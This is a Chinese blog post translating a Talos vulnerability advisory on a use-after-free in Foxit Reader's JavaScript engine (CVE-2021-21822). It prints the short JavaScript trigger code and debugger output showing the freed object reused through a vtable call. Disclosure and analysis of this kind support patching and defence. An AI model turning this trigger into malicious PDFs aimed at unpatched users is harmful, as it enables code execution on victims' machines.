福昕阅读器漏洞可用于执行恶意代码

福昕pdf阅读器是一款非常流行的PDF文件阅读器,有大量的用户。据福昕软件官网信息,福昕为全球200余国家的5.5亿用户提供高效专业安全的福昕PDF编辑器服务。近日,福昕阅读器修复了一个影响PDF阅读器的高危远程代码执行漏洞,攻击者利用该漏洞可以在用户的Windows计算机上执行恶意代码,甚至可以接管用户的计算机。

CVE-2021-21822

漏洞CVE编号为CVE-2021-21822,CVSS V3评分为8.8分。福昕阅读器中支持JavaScript来记性交互式文件和动态表单。但JS支持可能会带来额外的攻击风险,该漏洞就是福昕pdf阅读器使用的V8 JS引擎中的UAF漏洞。

该漏洞是由于福昕阅读器应用和浏览器扩展处理特定注释类型的方式引起的,攻击者可以利用精心构造的恶意PDF文件可以通过精确的内存控制运行任意代码触发该漏洞,导致任意代码执行。攻击者只需诱使用户打开恶意文件或打开启用了福昕pdf浏览器插件扩展的网站就可以触发该漏洞。

成功利用该UAF漏洞可能会引发运行有漏洞的软件的计算机的程序奔溃、数据破坏、任意代码执行等。

CVE编号

CVE-2021-21822

概括

Foxit Software的PDF Reader(版本10.1.3.37598)的JavaScript引擎中存在一个“售后使用”漏洞。特制的PDF文档可能会触发以前可用内存的重用,从而导致任意代码执行。如果启用了浏览器插件扩展,则攻击者需要诱使用户打开恶意文件或站点来触发此漏洞。

测试版本

福昕阅读器10.1.3.37598

产品网址

https://www.foxitsoftware.com/pdf-reader/

CVSSv3分数

8.8-CVSS:3.0 / AV:N / AC:L / PR:N / UI:R / S:U / C:H / I:H / A:H

CWE

CWE-416-免费使用

细节

福昕PDF阅读器是最受欢迎的PDF文档阅读器之一,拥有庞大的用户群。它旨在与Adobe的Acrobat Reader具有同等的功能。作为完整且功能丰富的PDF阅读器,它支持用于交互式文档和动态表单的JavaScript。对JavaScript的支持带来了额外的攻击面。福昕阅读器使用V8 JavaScript引擎。

PDF渲染器和编辑器对Javascript的支持使动态文档可以根据用户输入或事件进行更改。Foxit Reader处理某些注释类型的方式中存在一个免费使用后漏洞。随附的概念证明PDF文档演示了此漏洞。在文档打开的javascript操作中,我们具有:

function main() { this.pageNum = 1; this.addAnnot({page: 1, type: "FileAttachment", point: [11,14,6,8]}); }

上面的代码将当前页面从0切换到1。这样做的结果是,页面0的页面关闭处理程序函数将排队等待执行。main中的执行继续,并将“ FileAttachment”类型的注释添加到页面中。此注释的特殊之处在于,它会弹出一个文件选择器对话框,该对话框有效地阻止执行,因此页面关闭处理程序将启动。在关闭页面处理程序中,我们具有以下内容:

function f123() { global.saved_this.getAnnots()[0].destroy(); }

上面的代码只是破坏了在中创建的注释main。这样的结果是注释的后备对象被释放。处理程序完成,执行返回到阻止对话框。当以任何方式关闭对话框(选择文件,关闭,取消)时,将执行其余的注释创建代码,但是释放支持该对象的内存,这可能导致内存损坏。这可以在调试器中观察到:

0:000> k 10 # ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong.00 06fbb148 017d5991 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2da3101 06fbb1e4 017d8e7c FoxitReader!CryptUIWizExport+0x5920f102 06fbb294 01030852 FoxitReader!CryptUIWizExport+0x5955dc03 06fbb2a8 0147fd93 FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2ab5e204 06fbb308 01472925 FoxitReader!CryptUIWizExport+0x23c4f305 06fbb364 02cb016b FoxitReader!CryptUIWizExport+0x22f08506 06fbb3ac 02e75e59 FoxitReader!FXJSE_GetClass+0x22b07 06fbb400 02e755ef FoxitReader!CFXJSE_Arguments::GetValue+0x1c572908 06fbb494 02e758b1 FoxitReader!CFXJSE_Arguments::GetValue+0x1c4ebf09 06fbb4dc 02e7574b FoxitReader!CFXJSE_Arguments::GetValue+0x1c51810a 06fbb4f8 0301cdf7 FoxitReader!CFXJSE_Arguments::GetValue+0x1c501b0b 06fbb514 02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x36c6c70c 06fbb54c 02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x2fb0000d 06fbb578 02fa92bf FoxitReader!CFXJSE_Arguments::GetValue+0x2fb0000e 06fbb58c 02fa90db FoxitReader!CFXJSE_Arguments::GetValue+0x2f8b8f0f 06fbb5b8 02ce65c6 FoxitReader!CFXJSE_Arguments::GetValue+0x2f89ab0:000> !heap -p -a ebx address 1c5e8f98 found in _DPH_HEAP_ROOT @ 9a71000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 1c5f0514: 1c5e8f98 68 - 1c5e8000 2000 ? FoxitReader!std::basic_streambuf<char,std::char_traits<char> >::`vftable'+c36ac 695dabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240 7721245b ntdll!RtlDebugAllocateHeap+0x00000039 77176dd9 ntdll!RtlpAllocateHeap+0x000000f9 77175ec9 ntdll!RtlpAllocateHeapInternal+0x00000179 77175d3e ntdll!RtlAllocateHeap+0x0000003e 03e147ac FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe6c 03b2c89e FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x00003f5e 01e4cdba FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00436eda 01036f0d FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002b1c9d 00afd5da FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002d07a 00afddc0 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002d860 00afd54a FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002cfea 014744a7 FoxitReader!CryptUIWizExport+0x00230c07 01473641 FoxitReader!CryptUIWizExport+0x0022fda1 0135de3d FoxitReader!CryptUIWizExport+0x0011a59d 0132a0b5 FoxitReader!CryptUIWizExport+0x000e6815 02cb016b FoxitReader!FXJSE_GetClass+0x0000022b 02e75e59 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5729 02e755ef FoxitReader!CFXJSE_Arguments::GetValue+0x001c4ebf 02e758b1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5181 02e7574b FoxitReader!CFXJSE_Arguments::GetValue+0x001c501b 0301cdf7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036c6c7 02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x002fb000 02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x002fb000 02fa92bf FoxitReader!CFXJSE_Arguments::GetValue+0x002f8b8f 02fa90db FoxitReader!CFXJSE_Arguments::GetValue+0x002f89ab 02ce65c6 FoxitReader!CFXJSE_Arguments::GetValue+0x00035e96 02ce60a7 FoxitReader!CFXJSE_Arguments::GetValue+0x00035977 02cd33a7 FoxitReader!CFXJSE_Arguments::GetValue+0x00022c77 02cae8bf FoxitReader!FXJSE_Runtime_Release+0x00000c4f 02caf0d4 FoxitReader!FXJSE_ExecuteScript+0x00000014 013a6e22 FoxitReader!CryptUIWizExport+0x00163582 0:000> dd ebx1c5e8f98 045b4908 1d31eff8 1f846fc0 0c5b0f701c5e8fa8 c0c0c000 ffffffff 18da4fc8 010101011c5e8fb8 00000004 00000000 00000000 000000001c5e8fc8 00000000 00000000 00000000 201deff01c5e8fd8 00000000 0c1b0ff0 00000000 18eaeff81c5e8fe8 140407e5 01250917 c0c00000 000000001c5e8ff8 c0c0c000 1f846fc0 ???????? ????????1c5e9008 ???????? ???????? ???????? ????????0:000> u eipFoxitReader!std::basic_ostream >::operator0:000> u eip+2FoxitReader!std::basic_ostream >::operator:00afdf93 8bcb mov ecx,ebx00afdf95 c745e401000000 mov dword ptr [ebp-1Ch],100afdf9c ff5008 call dword ptr [eax+8]00afdf9f 8945e0 mov dword ptr [ebp-20h],eax00afdfa2 85c0 test eax,eax00afdfa4 0f84fb020000 je FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2dd45 (00afe2a5)00afdfaa 8d4dd8 lea ecx,[ebp-28h]00afdfad c745d840d9f204 mov dword ptr [ebp-28h],offset FoxitReader!std::basic_ostream<char,std::char_traits<char> >::`vbtable'+0x14fe4 (04f2d940)0:000> u poi(poi(ebx)+8)FoxitReader!std::basic_ios >::fill+0x285580:0100a7f0 8b4108 mov eax,dword ptr [ecx+8]0100a7f3 c3 ret0100a7f4 cc int 30100a7f5 cc int 30100a7f6 cc int 30100a7f7 cc int 30100a7f8 cc int 30100a7f9 cc int 3

在上方,我们可以看到在首次访问对象时精心放置的断点。我们可以看到分配的大小0x68和内存地址 0x1c5e8f98。继续执行并在调用destroy()页面关闭处理程序之后立即中断,我们可以看到以下内容:

0:000> gModLoad: 67870000 67918000 C:\WINDOWS\SysWOW64\Windows.Storage.Search.dll(113c.2884): Break instruction exception - code 80000003 (first chance)eax=071f7000 ebx=00000000 ecx=771d42f0 edx=771d42f0 esi=771d42f0 edi=771d42f0eip=7719cbd0 esp=3934fb5c ebp=3934fb88 iopl=0 nv up ei pl zr na pe nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246ntdll!DbgBreakPoint:7719cbd0 cc int 30:021> !heap -p -a 1c5e8f98 address 1c5e8f98 found in_DPH_HEAP_ROOT @ 9a71000in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 1c5f0514: 1c5e8000 2000695dae02 verifier!AVrfDebugPageHeapFree+0x000000c277212c91 ntdll!RtlDebugFreeHeap+0x0000003e77173c45 ntdll!RtlpFreeHeap+0x000000d577173812 ntdll!RtlFreeHeap+0x0000022275f6b24b combase!CoTaskMemFree+0x0000003b [onecore\com\combase\class\memapi.cxx @ 467]679438bc StructuredQuery!StructuredQuery1::BaseCondition::Release+0x0000009c6796b46c StructuredQuery!FixedCapacityObjectCollection::~FixedCapacityObjectCollection+0x000000506795acb9 StructuredQuery!FixedCapacityObjectCollection::`scalar deleting destructor'+0x0000000a6796b46c StructuredQuery!FixedCapacityObjectCollection::~FixedCapacityObjectCollection+0x000000506795acb9 StructuredQuery!FixedCapacityObjectCollection::`scalar deleting destructor'+0x0000000a761d89a7 windows_storage!SafeRelease<IActionProgress>+0x0000002a761aba8a windows_storage!CConditionEvaluator::~CConditionEvaluator+0x0000003d761abf6e windows_storage!GrepDoesItemMatchCondition+0x000000c4761ac17b windows_storage!DoesPropertyStoreMatchFilter+0x0000009b761ac2a6 windows_storage!DoesItemMatchFilter+0x000000bc7622beec windows_storage!IItemFilter_DoesItemMatchFilter+0x0000011a7622bd8e windows_storage!_FilterItem+0x000000c17622b51f windows_storage!CEnumTask::_FilterItem+0x00000033761850e7 windows_storage!CEnumTask::_IncrEnumFolder+0x000001837622b112 windows_storage!CEnumTask::InternalResumeRT+0x000001e2762909cc windows_storage!CRunnableTask::Run+0x000000dc76291ac2 windows_storage!CShellTask::TT_Run+0x0000008076290bc0 windows_storage!CShellTaskThread::ThreadProc+0x0000009b7629245c windows_storage!CShellTaskThread::s_ThreadProc+0x0000002c76c6cb64 shcore!ExecuteWorkItemThreadProc+0x0000002477155990 ntdll!RtlpTpWorkCallback+0x0000012077181b22 ntdll!TppWorkerThread+0x000006e276778494 KERNEL32!BaseThreadInitThunk+0x00000024771941c8 ntdll!__RtlUserThreadStart+0x0000002f77194198 ntdll!_RtlUserThreadStart+0x0000001b0:021> dd 1c5e8f98 1c5e8f98 ???????? ???????? ???????? ????????1c5e8fa8 ???????? ???????? ???????? ????????1c5e8fb8 ???????? ???????? ???????? ????????1c5e8fc8 ???????? ???????? ???????? ????????1c5e8fd8 ???????? ???????? ???????? ????????1c5e8fe8 ???????? ???????? ???????? ????????1c5e8ff8 ???????? ???????? ???????? ????????1c5e9008 ???????? ???????? ???????? ????????0:021> k 5# ChildEBP RetAddr 00 3934fb58 771d4329 ntdll!DbgBreakPoint01 3934fb88 76778494 ntdll!DbgUiRemoteBreakin+0x3902 3934fb9c 771941c8 KERNEL32!BaseThreadInitThunk+0x2403 3934fbe4 77194198 ntdll!__RtlUserThreadStart+0x2f04 3934fbf4 00000000 ntdll!_RtlUserThreadStart+0x1b

在上面,我们可以看到以前分配的内存现在是可用的,可以回收。连续执行进一步导致释放的内存的重用和崩溃:

Breakpoint 0 hiteax=06fbe05f ebx=1c5e8f98 ecx=06fbe05f edx=09a70000 esi=1c5e8f98 edi=0c5b0f70eip=00afdf91 esp=06fbe02c ebp=06fbe06c iopl=0 nv up ei pl nz na po nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202FoxitReader!std::basic_ostream >::operator0:000> uFoxitReader!std::basic_ostream >::operator:00afdf91 8b03 mov eax,dword ptr [ebx]00afdf93 8bcb mov ecx,ebx00afdf95 c745e401000000 mov dword ptr [ebp-1Ch],100afdf9c ff5008 call dword ptr [eax+8]00afdf9f 8945e0 mov dword ptr [ebp-20h],eax00afdfa2 85c0 test eax,eax00afdfa4 0f84fb020000 je FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2dd45 (00afe2a5)00afdfaa 8d4dd8 lea ecx,[ebp-28h]0:000> dd ebx1c5e8f98 ???????? ???????? ???????? ????????1c5e8fa8 ???????? ???????? ???????? ????????1c5e8fb8 ???????? ???????? ???????? ????????1c5e8fc8 ???????? ???????? ???????? ????????1c5e8fd8 ???????? ???????? ???????? ????????1c5e8fe8 ???????? ???????? ???????? ????????1c5e8ff8 ???????? ???????? ???????? ????????1c5e9008 ???????? ???????? ???????? ????????0:000> !heap -p -a ebx(113c.2af0): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=06fbe05f ebx=1c5e8f98 ecx=06fbe05f edx=09a70000 esi=1c5e8f98 edi=0c5b0f70eip=00afdf91 esp=06fbe02c ebp=06fbe06c iopl=0 nv up ei pl nz na po nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202

再次,我们看到现在无效的相同内存的重用。此外,重用以vtable取消引用的形式发生,从而提供了控制流劫持的直接途径。可以回收释放的内存,并将其置于页面关闭处理程序的控制之下,从而可以控制解除引用。通过精确的内存控制,这可以导致任意代码执行。

本文翻译自:https://talosintelligence.com/vulnerability_reports/TALOS-2021-1287 如若转载,请注明原文地址

福昕阅读器漏洞可用于执行恶意代码-猫先生博客
福昕阅读器漏洞可用于执行恶意代码
此内容为免费阅读,请登录后查看
¥0
免费阅读
已售 138
© 版权声明
THE END
喜欢就支持一下吧
点赞7
分享
评论 抢沙发

请登录后发表评论